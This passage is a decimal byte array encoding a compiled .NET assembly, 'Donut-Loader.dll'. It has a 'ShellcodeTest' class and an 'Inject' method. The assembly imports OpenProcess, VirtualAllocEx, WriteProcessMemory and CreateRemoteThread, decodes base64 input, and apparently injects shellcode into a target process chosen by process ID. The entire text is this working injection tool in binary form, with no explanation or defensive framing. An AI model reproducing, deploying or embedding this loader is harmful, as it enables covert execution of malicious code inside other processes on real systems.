0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 72, 0, 0, 0, 2, 0, 5, 0, 132, 33, 0, 0, 144, 11, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 19, 48, 3, 0, 62, 0, 0, 0, 1, 0, 0, 17, 0, 2, 142, 105, 23, 254, 2, 10, 6, 45, 13, 2, 22, 154, 40, 16, 0, 0, 10, 128, 12, 0, 0, 4, 2, 23, 154, 128, 11, 0, 0, 4, 2, 23, 154, 128, 10, 0, 0, 4, 126, 11, 0, 0, 4, 126, 10, 0, 0, 4, 126, 12, 0, 0, 4, 40, 8, 0, 0, 6, 38, 42, 0, 0, 19, 48, 7, 0, 140, 0, 0, 0, 2, 0, 0, 17, 0, 4, 40, 18, 0, 0, 10, 10, 6, 111, 19, 0, 0, 10, 40, 20, 0, 0, 10, 0, 6, 40, 10, 0, 0, 6, 22, 254, 1, 19, 7, 17, 7, 45, 4, 2, 11, 43, 2, 3, 11, 7, 40, 21, 0, 0, 10, 12, 32, 58, 4, 0, 0, 22, 6, 111, 19, 0, 0, 10, 40, 2, 0, 0, 6, 13, 9, 126, 22, 0, 0, 10, 8, 142, 105, 184, 32, 0, 48, 0, 0, 31, 64, 40, 5, 0, 0, 6, 19, 4, 9, 17, 4, 8, 8, 142, 105, 184, 18, 5, 40, 6, 0, 0, 6, 38, 9, 126, 22, 0, 0, 10, 22, 17, 4, 126, 22, 0, 0, 10, 22, 126, 22, 0, 0, 10, 40, 7, 0, 0, 6, 38, 22, 19, 6, 43, 0, 17, 6, 42, 19, 48, 2, 0, 23, 0, 0, 0, 3, 0, 0, 17, 0, 22, 10, 2, 111, 23, 0, 0, 10, 18, 0, 40, 9, 0, 0, 6, 38, 6, 11, 43, 0, 7, 42, 146, 114, 1, 0, 0, 112, 128, 10, 0, 0, 4, 114, 1, 0, 0, 112, 128, 11, 0, 0, 4, 40, 24, 0, 0, 10, 111, 19, 0, 0, 10, 128, 12, 0, 0, 4, 42, 30, 2, 40, 25, 0, 0, 10, 42, 66, 83, 74, 66, 1, 0, 1, 0, 0, 0, 0, 0, 12, 0, 0, 0, 118, 52, 46, 48, 46, 51, 48, 51, 49, 57, 0, 0, 0, 0, 5, 0, 108, 0, 0, 0, 52, 4, 0, 0, 35, 126, 0, 0, 160, 4, 0, 0, 96, 5, 0, 0, 35, 83, 116, 114, 105, 110, 103, 115, 0, 0, 0, 0, 0, 10, 0, 0, 4, 0, 0, 0, 35, 85, 83, 0, 4, 10, 0, 0, 16, 0, 0, 0, 35, 71, 85, 73, 68, 0, 0, 0, 20, 10, 0, 0, 124, 1, 0, 0, 35, 66, 108, 111, 98, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 1, 87, 29, 2, 20, 9, 0, 0, 0, 0, 250, 37, 51, 0, 22, 0, 0, 1, 0, 0, 0, 22, 0, 0, 0, 2, 0, 0, 0, 12, 0, 0, 0, 12, 0, 0, 0, 30, 0, 0, 0, 25, 0, 0, 0, 9, 0, 0, 0, 12, 0, 0, 0, 3, 0, 0, 0, 2, 0, 0, 0, 7, 0, 0, 0, 1, 0, 0, 0, 2, 0, 0, 0, 0, 0, 10, 0, 1, 0, 0, 0, 0, 0, 6, 0, 65, 0, 58, 0, 10, 0, 133, 1, 114, 1, 6, 0, 105, 2, 74, 2, 6, 0, 2, 3, 232, 2, 6, 0, 45, 3, 27, 3, 6, 0, 68, 3, 27, 3, 6, 0, 97, 3, 27, 3, 6, 0, 128, 3, 27, 3, 6, 0, 153, 3, 27, 3, 6, 0, 178, 3, 27, 3, 6, 0, 205, 3, 27, 3, 6, 0, 232, 3, 27, 3, 6, 0, 1, 4, 74, 2, 6, 0, 21, 4, 27, 3, 6, 0, 46, 4, 114, 1, 63, 0, 66, 4, 0, 0, 6, 0, 113, 4, 81, 4, 6, 0, 145, 4, 81, 4, 6, 0, 188, 4, 58, 0, 6, 0, 204, 4, 74, 2, 6, 0, 11, 5, 58, 0, 6, 0, 46, 5, 58, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 16, 0, 27, 0, 35, 0, 5, 0, 1, 0, 1, 0, 81, 128, 72, 0, 10, 0, 81, 128, 94, 0, 10, 0, 81, 128, 120, 0, 10, 0, 81, 128, 141, 0, 10, 0, 81, 128, 158, 0, 10, 0, 81, 128, 174, 0, 38, 0, 81, 128, 185, 0, 38, 0, 81, 128, 197, 0, 38, 0, 81, 128, 212, 0, 38, 0, 17, 0, 235, 0, 61, 0, 17, 0, 239, 0, 61, 0, 17, 0, 243, 0, 10, 0, 80, 32, 0, 0, 0, 0, 150, 0, 247, 0, 64, 0, 1, 0, 0, 0, 0, 0, 128, 0, 150, 32, 252, 0, 70, 0, 2, 0, 0, 0, 0, 0, 128, 0, 150, 32, 8, 1, 77, 0, 5, 0, 0, 0, 0, 0, 128, 0, 145, 32, 24, 1, 82, 0, 6, 0, 0, 0, 0, 0, 128, 0, 145, 32, 39, 1, 88, 0, 8, 0, 0, 0, 0, 0, 128, 0, 145, 32, 54, 1, 97, 0, 13, 0, 0, 0, 0, 0, 128, 0, 145, 32, 73, 1, 108, 0, 18, 0, 156, 32, 0, 0, 0, 0, 150, 0, 92, 1, 119, 0, 25, 0, 0, 0, 0, 0, 128, 0, 150, 32, 99, 1, 126, 0, 28, 0, 52, 33, 0, 0, 0, 0, 150, 0, 99, 1, 133, 0, 30, 0, 124, 33, 0, 0, 0, 0, 134, 24, 141, 1, 139, 0, 31, 0, 87, 33, 0, 0, 0, 0, 145, 24, 69, 5, 219, 0, 31, 0, 0, 0, 1, 0, 147, 1, 0, 0, 1, 0, 152, 1, 0, 0, 2, 0, 168, 1, 0, 0, 3, 0, 183, 1, 0, 0, 1, 0, 195, 1, 0, 0, 1, 0, 208, 1, 0, 0, 2, 0, 216, 1, 0, 0, 1, 0, 225, 1, 0, 0, 2, 0, 234, 1, 0, 0, 3, 0, 244, 1, 0, 0, 4, 0, 251, 1, 0, 0, 5, 0, 12, 2, 0, 0, 1, 0, 225, 1, 0, 0, 2, 0, 22, 2, 0, 0, 3, 0, 36, 2, 0, 0, 4, 0, 45, 2, 2, 0, 5, 0, 51, 2, 0, 0, 1, 0, 225, 1, 0, 0, 2, 0, 118, 2, 0, 0, 3, 0, 137, 2, 0, 0, 4, 0, 149, 2, 0, 0, 5, 0, 164, 2, 0, 0, 6, 0, 176, 2, 0, 0, 7, 0, 192, 2, 0, 0, 1, 0, 239, 0, 0, 0, 2, 0, 235, 0, 0, 0, 3, 0, 203, 2, 0, 0, 1, 0, 225, 1, 2, 0, 2, 0, 211, 2, 0, 0, 1, 0, 224, 2, 25, 0, 141, 1, 139, 0, 33, 0, 141, 1, 143, 0, 41, 0, 141, 1, 143, 0, 49, 0, 141, 1, 143, 0, 57, 0, 141, 1, 143, 0, 65, 0, 141, 1, 143, 0, 73, 0, 141, 1, 143, 0, 81, 0, 141, 1, 143, 0, 89, 0, 141, 1, 143, 0, 97, 0, 141, 1, 143, 0, 105, 0, 141, 1, 148, 0, 113, 0, 141, 1, 143, 0, 121, 0, 141, 1, 153, 0, 137, 0, 141, 1, 159, 0, 145, 0, 141, 1, 139, 0, 153, 0, 196, 4, 164, 0, 161, 0, 141, 1, 143, 0, 17, 0, 245, 4, 173, 0, 17, 0, 4, 5, 179, 0, 169, 0, 19, 5, 183, 0, 153, 0, 29, 5, 188, 0, 177, 0, 53, 5, 194, 0, 17, 0, 58, 5, 210, 0, 17, 0, 76, 5, 223, 0, 9, 0, 141, 1, 139, 0, 8, 0, 4, 0, 13, 0, 8, 0, 8, 0, 18, 0, 8, 0, 12, 0, 23, 0, 8, 0, 16, 0, 28, 0, 8, 0, 20, 0, 33, 0, 9, 0, 24, 0, 41, 0, 9, 0, 28, 0, 46, 0, 9, 0, 32, 0, 51, 0, 9, 0, 36, 0, 56, 0, 46, 0, 19, 0, 228, 0, 46, 0, 27, 0, 28, 1, 46, 0, 35, 0, 46, 1, 46, 0, 43, 0, 46, 1, 46, 0, 51, 0, 46, 1, 46, 0, 59, 0, 28, 1, 46, 0, 67, 0, 52, 1, 46, 0, 75, 0, 46, 1, 46, 0, 91, 0, 46, 1, 46, 0, 107, 0, 72, 1, 46, 0, 115, 0, 81, 1, 46, 0, 123, 0, 90, 1, 169, 0, 197, 0, 214, 0, 223, 4, 236, 4, 0, 1, 5, 0, 252, 0, 1, 0, 6, 1, 7, 0, 8, 1, 1, 0, 67, 1, 9, 0, 24, 1, 2, 0, 65, 1, 11, 0, 39, 1, 1, 0, 64, 1, 13, 0, 54, 1, 1, 0, 0, 1, 15, 0, 73, 1, 1, 0, 0, 1, 19, 0, 99, 1, 1, 0, 4, 128, 0, 0, 1, 0, 0, 0, 39, 28, 28, 80, 0, 0, 0, 0, 0, 0, 175, 4, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 49, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 58, 0, 0, 0, 0, 0, 0, 0, 0, 60, 77, 111, 100, 117, 108, 101, 62, 0, 68, 111, 110, 117, 116, 45, 76, 111, 97, 100, 101, 114, 46, 100, 108, 108, 0, 80, 114, 111, 103, 114, 97, 109, 0, 83, 104, 101, 108, 108, 99, 111, 100, 101, 84, 101, 115, 116, 0, 109, 115, 99, 111, 114, 108, 105, 98, 0, 83, 121, 115, 116, 101, 109, 0, 79, 98, 106, 101, 99, 116, 0, 80, 82, 79, 67, 69, 83, 83, 95, 67, 82, 69, 65, 84, 69, 95, 84, 72, 82, 69, 65, 68, 0, 80, 82, 79, 67, 69, 83, 83, 95, 81, 85, 69, 82, 89, 95, 73, 78, 70, 79, 82, 77, 65, 84, 73, 79, 78, 0, 80, 82, 79, 67, 69, 83, 83, 95, 86, 77, 95, 79, 80, 69, 82, 65, 84, 73, 79, 78, 0, 80, 82, 79, 67, 69, 83, 83, 95, 86, 77, 95, 87, 82, 73, 84, 69, 0, 80, 82, 79, 67, 69, 83, 83, 95, 86, 77, 95, 82, 69, 65, 68, 0, 77, 69, 77, 95, 67, 79, 77, 77, 73, 84, 0, 77, 69, 77, 95, 82, 69, 83, 69, 82, 86, 69, 0, 80, 65, 71, 69, 95, 82, 69, 65, 68, 87, 82, 73, 84, 69, 0, 80, 65, 71, 69, 95, 69, 88, 69, 67, 85, 84, 69, 95, 82, 69, 65, 68, 87, 82, 73, 84, 69, 0, 120, 54, 52, 0, 120, 56, 54, 0, 112, 105, 100, 0, 77, 97, 105, 110, 0, 79, 112, 101, 110, 80, 114, 111, 99, 101, 115, 115, 0, 71, 101, 116, 77, 111, 100, 117, 108, 101, 72, 97, 110, 100, 108, 101, 0, 71, 101, 116, 80, 114, 111, 99, 65, 100, 100, 114, 101, 115, 115, 0, 86, 105, 114, 116, 117, 97, 108, 65, 108, 108, 111, 99, 69, 120, 0, 87, 114, 105, 116, 101, 80, 114, 111, 99, 101, 115, 115, 77, 101, 109, 111, 114, 121, 0, 67, 114, 101, 97, 116, 101, 82, 101, 109, 111, 116, 101, 84, 104, 114, 101, 97, 100, 0, 73, 110, 106, 101, 99, 116, 0, 73, 115, 87, 111, 119, 54, 52, 80, 114, 111, 99, 101, 115, 115, 0, 83, 121, 115, 116, 101, 109, 46, 68, 105, 97, 103, 110, 111, 115, 116, 105, 99, 115, 0, 80, 114, 111, 99, 101, 115, 115, 0, 46, 99, 116, 111, 114, 0, 97, 114, 103, 115, 0, 100, 119, 68, 101, 115, 105, 114, 101, 100, 65, 99, 99, 101, 115, 115, 0, 98, 73, 110, 104, 101, 114, 105, 116, 72, 97, 110, 100, 108, 101, 0, 100, 119, 80, 114, 111, 99, 101, 115, 115, 73, 100, 0, 108, 112, 77, 111, 100, 117, 108, 101, 78, 97, 109, 101, 0, 104, 77, 111, 100, 117, 108, 101, 0, 112, 114, 111, 99, 78, 97, 109, 101, 0, 104, 80, 114, 111, 99, 101, 115, 115, 0, 108, 112, 65, 100, 100, 114, 101, 115, 115, 0, 100, 119, 83, 105, 122, 101, 0, 102, 108, 65, 108, 108, 111, 99, 97, 116, 105, 111, 110, 84, 121, 112, 101, 0, 102, 108, 80, 114, 111, 116, 101, 99, 116, 0, 108, 112, 66, 97, 115, 101, 65, 100, 100, 114, 101, 115, 115, 0, 108, 112, 66, 117, 102, 102, 101, 114, 0, 110, 83, 105, 122, 101, 0, 108, 112, 78, 117, 109, 98, 101, 114, 79, 102, 66, 121, 116, 101, 115, 87, 114, 105, 116, 116, 101, 110, 0, 83, 121, 115, 116, 101, 109, 46, 82, 117, 110, 116, 105, 109, 101, 46, 73, 110, 116, 101, 114, 111, 112, 83, 101, 114, 118, 105, 99, 101, 115, 0, 79, 117, 116, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 108, 112, 84, 104, 114, 101, 97, 100, 65, 116, 116, 114, 105, 98, 117, 116, 101, 115, 0, 100, 119, 83, 116, 97, 99, 107, 83, 105, 122, 101, 0, 108, 112, 83, 116, 97, 114, 116, 65, 100, 100, 114, 101, 115, 115, 0, 108, 112, 80, 97, 114, 97, 109, 101, 116, 101, 114, 0, 100, 119, 67, 114, 101, 97, 116, 105, 111, 110, 70, 108, 97, 103, 115, 0, 108, 112, 84, 104, 114, 101, 97, 100, 73, 100, 0, 112, 114, 111, 99, 80, 73, 68, 0, 108, 112, 83, 121, 115, 116, 101, 109, 73, 110, 102, 111, 0, 112, 114, 111, 99, 101, 115, 115, 0, 83, 121, 115, 116, 101, 109, 46, 82, 117, 110, 116, 105, 109, 101, 46, 86, 101, 114, 115, 105, 111, 110, 105, 110, 103, 0, 84, 97, 114, 103, 101, 116, 70, 114, 97, 109, 101, 119, 111, 114, 107, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 83, 121, 115, 116, 101, 109, 46, 82, 101, 102, 108, 101, 99, 116, 105, 111, 110, 0, 65, 115, 115, 101, 109, 98, 108, 121, 84, 105, 116, 108, 101, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 68, 101, 115, 99, 114, 105, 112, 116, 105, 111, 110, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 67, 111, 110, 102, 105, 103, 117, 114, 97, 116, 105, 111, 110, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 67, 111, 109, 112, 97, 110, 121, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 80, 114, 111, 100, 117, 99, 116, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 67, 111, 112, 121, 114, 105, 103, 104, 116, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 84, 114, 97, 100, 101, 109, 97, 114, 107, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 67, 117, 108, 116, 117, 114, 101, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 67, 111, 109, 86, 105, 115, 105, 98, 108, 101, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 86, 101, 114, 115, 105, 111, 110, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 68, 101, 98, 117, 103, 103, 97, 98, 108, 101, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 68, 101, 98, 117, 103, 103, 105, 110, 103, 77, 111, 100, 101, 115, 0, 83, 121, 115, 116, 101, 109, 46, 82, 117, 110, 116, 105, 109, 101, 46, 67, 111, 109, 112, 105, 108, 101, 114, 83, 101, 114, 118, 105, 99, 101, 115, 0, 67, 111, 109, 112, 105, 108, 97, 116, 105, 111, 110, 82, 101, 108, 97, 120, 97, 116, 105, 111, 110, 115, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 82, 117, 110, 116, 105, 109, 101, 67, 111, 109, 112, 97, 116, 105, 98, 105, 108, 105, 116, 121, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 68, 111, 110, 117, 116, 45, 76, 111, 97, 100, 101, 114, 0, 67, 111, 110, 118, 101, 114, 116, 0, 84, 111, 73, 110, 116, 51, 50, 0, 68, 108, 108, 73, 109, 112, 111, 114, 116, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 107, 101, 114, 110, 101, 108, 51, 50, 46, 100, 108, 108, 0, 107, 101, 114, 110, 101, 108, 51, 50, 0, 71, 101, 116, 80, 114, 111, 99, 101, 115, 115, 66, 121, 73, 100, 0, 103, 101, 116, 95, 73, 100, 0, 67, 111, 110, 115, 111, 108, 101, 0, 87, 114, 105, 116, 101, 76, 105, 110, 101, 0, 70, 114, 111, 109, 66, 97, 115, 101, 54, 52, 83, 116, 114, 105, 110, 103, 0, 73, 110, 116, 80, 116, 114, 0, 90, 101, 114, 111, 0, 103, 101, 116, 95, 72, 97, 110, 100, 108, 101, 0, 46, 99, 99, 116, 111, 114, 0, 71, 101, 116, 67, 117, 114, 114, 101, 110, 116, 80, 114, 111, 99, 101, 115, 115, 0, 0, 0, 0, 1, 0, 0, 53, 180, 151, 58, 106, 46, 12, 74, 148, 130, 6, 14, 180, 48, 63, 230, 0, 8, 183, 122, 92, 86, 25, 52, 224, 137, 2, 6, 8, 4, 2, 0, 0, 0, 4, 0, 4, 0, 0, 4, 8, 0, 0, 0, 4, 32, 0, 0, 0, 4, 16, 0, 0, 0, 2, 6, 9, 4, 0, 16, 0, 0, 4, 0, 32, 0, 0, 4, 4, 0, 0, 0, 4, 64, 0, 0, 0, 2, 6, 14, 5, 0, 1, 1, 29, 14, 6, 0, 3, 24, 8, 2, 8, 4, 0, 1, 24, 14, 5, 0, 2, 24, 24, 14, 8, 0, 5, 24, 24, 24, 9, 9, 9, 10, 0, 5, 2, 24, 24, 29, 5, 9, 16, 25, 10, 0, 7, 24, 24, 24, 9, 24, 24, 9, 24, 6, 0, 3, 8, 14, 14, 8, 6, 0, 2, 2, 24, 16, 2, 5, 0, 1, 2, 18, 9, 3, 32, 0, 1, 4, 32, 1, 1, 14, 4, 32, 1, 1, 2, 5, 32, 1, 1, 17, 65, 4, 32, 1, 1, 8, 4, 0, 1, 8, 14, 3, 7, 1, 2, 5, 0, 1, 18, 9, 8, 3, 32, 0, 8, 4, 0, 1, 1, 8, 5, 0, 1, 29, 5, 14, 2, 6, 24, 12, 7, 8, 18, 9, 14, 29, 5, 24, 24, 25, 8, 2, 3, 32, 0, 24, 4, 7, 2, 2, 2, 3, 0, 0, 1, 4, 0, 0, 18, 9, 55, 1, 0, 26, 46, 78, 69, 84, 70, 114, 97, 109, 101, 119, 111, 114, 107, 44, 86, 101, 114, 115, 105, 111, 110, 61, 118, 52, 46, 53, 1, 0, 84, 14, 20, 70, 114, 97, 109, 101, 119, 111, 114, 107, 68, 105, 115, 112, 108, 97, 121, 78, 97, 109, 101, 0, 17, 1, 0, 12, 68, 111, 110, 117, 116, 45, 76, 111, 97, 100, 101, 114, 0, 0, 5, 1, 0, 0, 0, 0, 19, 1, 0, 14, 67, 111, 112, 121, 114, 105, 103, 104, 116, 32, 50, 48, 49, 57, 0, 0, 8, 1, 0, 7, 1, 0, 0, 0, 0, 8, 1, 0, 8, 0, 0, 0, 0, 0, 30, 1, 0, 1, 0, 84, 2, 22, 87, 114, 97, 112, 78, 111, 110, 69, 120, 99, 101, 112, 116, 105, 111, 110, 84, 104, 114, 111, 119, 115, 1, 0, 0, 0, 0, 0, 0, 0, 41, 64, 139, 93, 0, 0, 0, 0, 2, 0, 0, 0, 28, 1, 0, 0, 48, 45, 0, 0, 48, 29, 0, 0, 82, 83, 68, 83, 66, 33, 203, 216, 184, 44, 19, 73, 173, 127, 107, 217, 107, 212, 165, 239, 3, 0, 0, 0, 99, 58, 92, 85, 115, 101, 114, 115, 92, 113, 52, 56, 57, 50, 53, 48, 49, 56, 92, 68, 111, 99, 117, 109, 101, 110, 116, 115, 92, 83, 104, 97, 114, 112, 68, 101, 118, 101, 108, 111, 112, 32, 80, 114, 111, 106, 101, 99, 116, 115, 92, 68, 111, 110, 117, 116, 45, 76, 111, 97, 100, 101, 114, 92, 68, 111, 110, 117, 116, 45, 76, 111, 97, 100, 101, 114, 92, 111, 98, 106, 92, 68, 101, 98, 117, 103, 92, 68, 111, 110, 117, 116, 45, 76, 111, 97, 100, 101, 114, 46, 112, 100, 98, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 